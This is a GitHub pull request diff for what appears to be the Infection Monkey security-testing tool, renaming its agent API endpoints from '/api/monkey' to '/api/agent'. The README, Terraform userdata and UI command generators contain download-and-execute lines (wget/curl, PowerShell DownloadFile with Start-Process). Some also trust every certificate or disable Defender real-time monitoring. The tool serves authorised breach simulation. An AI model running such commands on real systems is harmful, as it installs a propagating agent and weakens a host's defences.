Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

1888 rename monkey endpoint #1893

Merged
merged 5 commits into from
Apr 19, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- The "/api/test/clear_caches" endpoint to "/api/test/clear-caches". #1888
- The "/api/netmap/nodeStates" endpoint to "/api/netmap/node-states". #1888
- All "/api/monkey_control" endpoints to "/api/monkey-control". #1888
- All "/api/monkey" endpoints to "/api/agent". #1888

### Removed
- VSFTPD exploiter. #1533
Expand Down
10 changes: 5 additions & 5 deletions envs/os_compatibility/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,9 @@

## About

OS compatibility is an environment on AWS that
OS compatibility is an environment on AWS that
is designed to test monkey binary compatibility on
different operating systems.
different operating systems.
This environment is deployed using terraform scripts
located in this directory.

Expand Down Expand Up @@ -33,7 +33,7 @@ terraform apply
1. Launch os_compat_ISLAND machine and upload your binaries/update island. Reset island environment.
2. Launch/Reboot all other os_compat test machines (Can be filtered with tag "Purpose: os_compat_instance")
3. Wait until machines boot and run monkey
4. Launch `test_compatibility.py` pytest script with island ip parameter
4. Launch `test_compatibility.py` pytest script with island ip parameter
(e.g. `test_compatibility.py --island 111.111.111.111:5000`)

## Machines
Expand Down Expand Up @@ -68,13 +68,13 @@ Example commands:
```cmd
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/agent/download/windows' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
```

- Bash:
```shell script
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64
wget --no-check-certificate -q https://10.0.0.251:5000/api/agent/download/linux -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/agent/download/linux -k -o monkey-linux-64
chmod +x ./monkey-linux-64
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
```
52 changes: 2 additions & 50 deletions envs/os_compatibility/terraform/instances.tf
Original file line number Diff line number Diff line change
Expand Up @@ -47,37 +47,10 @@ Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
rm ./monkey-linux-64
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64
wget --no-check-certificate -q https://10.0.0.251:5000/api/agent/download/linux -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/agent/download/linux -k -o monkey-linux-64
chmod +x ./monkey-linux-64
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
--//
EOF

user_data_linux_32 = <<EOF
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
rm ./monkey-linux-32
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -O ./monkey-linux-32 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -k -o monkey-linux-32
chmod +x ./monkey-linux-32
./monkey-linux-32 m0nk3y -s 10.0.0.251:5000
--//
EOF

user_data_windows_64 = <<EOF
Expand All @@ -95,31 +68,10 @@ add-type @"
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/agent/download/windows' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
</powershell>
<persist>true</persist>
EOF

user_data_windows_32 = <<EOF
<powershell>
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-32.exe' -OutFile 'C:\windows\temp\monkey-windows-32.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-32.exe m0nk3y -s 10.0.0.251:5000
</powershell>
<persist>true</persist>
EOF
}

Expand Down
6 changes: 3 additions & 3 deletions monkey/infection_monkey/control.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ def wakeup(parent=None):
monkey["tunnel"] = ControlClient.proxies.get("https")

requests.post( # noqa: DUO123
"https://%s/api/monkey" % (WormConfiguration.current_server,),
"https://%s/api/agent" % (WormConfiguration.current_server,),
data=json.dumps(monkey),
headers={"content-type": "application/json"},
verify=False,
Expand Down Expand Up @@ -173,7 +173,7 @@ def load_control_config():
return
try:
reply = requests.get( # noqa: DUO123
"https://%s/api/monkey/%s/legacy" % (WormConfiguration.current_server, GUID),
"https://%s/api/agent/%s/legacy" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
Expand Down Expand Up @@ -210,7 +210,7 @@ def send_config_error():
return
try:
requests.patch( # noqa: DUO123
"https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
"https://%s/api/agent/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps({"config_error": True}),
headers={"content-type": "application/json"},
verify=False,
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
@lru_cache(maxsize=None)
def _download_binary_from_island(self, os: str) -> bytes:
response = requests.get( # noqa: DUO123
f"{self._island_url}/api/monkey/download/{os}",
f"{self._island_url}/api/agent/download/{os}",
verify=False,
proxies=self._proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
Expand Down
2 changes: 1 addition & 1 deletion monkey/infection_monkey/master/control_channel.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ def should_agent_stop(self) -> bool:
def get_config(self) -> dict:
try:
response = requests.get( # noqa: DUO123
"https://%s/api/monkey/%s" % (WormConfiguration.current_server, self._agent_id),
"https://%s/api/agent/%s" % (WormConfiguration.current_server, self._agent_id),
verify=False,
proxies=ControlClient.proxies,
timeout=SHORT_REQUEST_TIMEOUT,
Expand Down
8 changes: 4 additions & 4 deletions monkey/monkey_island/cc/app.py
Original file line number Diff line number Diff line change
Expand Up @@ -118,9 +118,9 @@ def init_api_resources(api):
api.add_resource(Authenticate, "/api/auth")
api.add_resource(
Monkey,
"/api/monkey",
"/api/monkey/<string:guid>",
"/api/monkey/<string:guid>/<string:config_format>",
"/api/agent",
"/api/agent/<string:guid>",
"/api/agent/<string:guid>/<string:config_format>",
)
api.add_resource(LocalRun, "/api/local-monkey")
api.add_resource(ClientRun, "/api/client-monkey")
Expand All @@ -132,7 +132,7 @@ def init_api_resources(api):
api.add_resource(ConfigurationImport, "/api/configuration/import")
api.add_resource(
MonkeyDownload,
"/api/monkey/download/<string:host_os>",
"/api/agent/download/<string:host_os>",
)
api.add_resource(NetMap, "/api/netmap")
api.add_resource(Edge, "/api/netmap/edge")
Expand Down
2 changes: 1 addition & 1 deletion monkey/monkey_island/cc/resources/monkey.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ def get(self, guid=None, config_format=None, **kw):
if guid:
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
# TODO: When the "legacy" format is no longer needed, update this logic and remove the
# "/api/monkey/<string:guid>/<string:config_format>" route. Also considering not
# "/api/agent/<string:guid>/<string:config_format>" route. Also considering not
# flattening the config in the first place.
if config_format == "legacy":
ConfigService.decrypt_flat_config(monkey_json["config"])
Expand Down
79 changes: 16 additions & 63 deletions monkey/monkey_island/cc/services/remote_run_aws.py
Original file line number Diff line number Diff line change
Expand Up @@ -41,14 +41,12 @@ def run_aws_monkeys(instances, island_ip):
:param island_ip: IP of island the monkey will communicate with
:return: Dictionary with instance ids as keys, and True/False as values if succeeded or not
"""
instances_bitness = RemoteRunAwsService.get_bitness(instances)
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async(
lambda instance: RemoteRunAwsService._run_aws_monkey_cmd_async(
instance["instance_id"],
RemoteRunAwsService._is_linux(instance["os"]),
island_ip,
instances_bitness[instance["instance_id"]],
),
lambda _, result: result.is_success,
)
Expand All @@ -65,60 +63,19 @@ def update_aws_region_authless():
AwsService.set_region(RemoteRunAwsService.aws_instance.region)

@staticmethod
def get_bitness(instances):
"""
For all given instances, checks whether they're 32 or 64 bit.
:param instances: List of instances to check
:return: Dictionary with instance ids as keys, and True/False as values. True if 64bit,
False otherwise
"""
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async(
instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"])
),
lambda instance, result: RemoteRunAwsService._get_bitness_by_result(
RemoteRunAwsService._is_linux(instance["os"]), result
),
)

@staticmethod
def _get_bitness_by_result(is_linux, result):
if not result.is_success:
return None
elif is_linux:
return result.stdout.find("i686") == -1 # i686 means 32bit
else:
return (
result.stdout.lower().find("programfiles(x86)") != -1
) # if not found it means 32bit

@staticmethod
def run_aws_bitness_cmd_async(instance_id, is_linux):
"""
Runs an AWS command to check bitness
:param instance_id: Instance ID of target
:param is_linux: Whether target is linux
:return: Cmd
"""
cmd_text = "uname -m" if is_linux else "Get-ChildItem Env:"
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)

@staticmethod
def run_aws_monkey_cmd_async(instance_id, is_linux, island_ip, is_64bit):
def _run_aws_monkey_cmd_async(instance_id, is_linux, island_ip):
"""
Runs a monkey remotely using AWS
:param instance_id: Instance ID of target
:param is_linux: Whether target is linux
:param island_ip: IP of the island which the instance will try to connect to
:param is_64bit: Whether the instance is 64bit
:return: Cmd
"""
cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip)
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, island_ip)
return RemoteRunAwsService._run_aws_cmd_async(instance_id, is_linux, cmd_text)

@staticmethod
def run_aws_cmd_async(instance_id, is_linux, cmd_line):
def _run_aws_cmd_async(instance_id, is_linux, cmd_line):
cmd_runner = AwsCmdRunner(is_linux, instance_id)
return Cmd(cmd_runner, cmd_runner.run_command_async(cmd_line))

Expand All @@ -127,39 +84,35 @@ def _is_linux(os):
return "linux" == os

@staticmethod
def _get_run_monkey_cmd_linux_line(bit_text, island_ip):
def _get_run_monkey_cmd_linux_line(island_ip):
return (
r"wget --no-check-certificate https://"
+ island_ip
+ r":5000/api/monkey/download/monkey-linux-"
+ bit_text
+ r"; chmod +x monkey-linux-"
+ bit_text
+ r"; ./monkey-linux-"
+ bit_text
+ r":5000/api/agent/download/linux "
+ r"-O monkey-linux-64"
+ r"; chmod +x monkey-linux-64"
+ r"; ./monkey-linux-64"
+ r" m0nk3y -s "
+ island_ip
+ r":5000"
)

@staticmethod
def _get_run_monkey_cmd_windows_line(bit_text, island_ip):
def _get_run_monkey_cmd_windows_line(island_ip):
return (
r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {"
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://"
+ island_ip
+ r":5000/api/monkey/download/monkey-windows-"
+ bit_text
+ r".exe','.\\monkey.exe'); "
+ r":5000/api/agent/download/windows'"
+ r"'.\\monkey.exe'); "
r";Start-Process -FilePath '.\\monkey.exe' "
r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
)

@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
bit_text = "64" if is_64bit else "32"
def _get_run_monkey_cmd_line(is_linux, island_ip):
return (
RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip)
RemoteRunAwsService._get_run_monkey_cmd_linux_line(island_ip)
if is_linux
else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip)
else RemoteRunAwsService._get_run_monkey_cmd_windows_line(island_ip)
)
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
export default function generateLocalLinuxCurl(ip, username) {
let command = `curl https://${ip}:5000/api/monkey/download/linux -k `
let command = `curl https://${ip}:5000/api/agent/download/linux -k `
+ `-o monkey-linux-64; `
+ `chmod +x monkey-linux-64; `
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000;`;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
export default function generateLocalLinuxWget(ip, username) {
let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/`
let command = `wget --no-check-certificate https://${ip}:5000/api/agent/download/`
+ `linux -O ./monkey-linux-64; `
+ `chmod +x monkey-linux-64; `
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000`;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
function getAgentDownloadCommand(ip) {
return `$execCmd = @"\r\n`
+ `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/windows',`
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/agent/download/windows',`
+ `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
+ `\r\n"@; \r\n`
+ `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;
Expand Down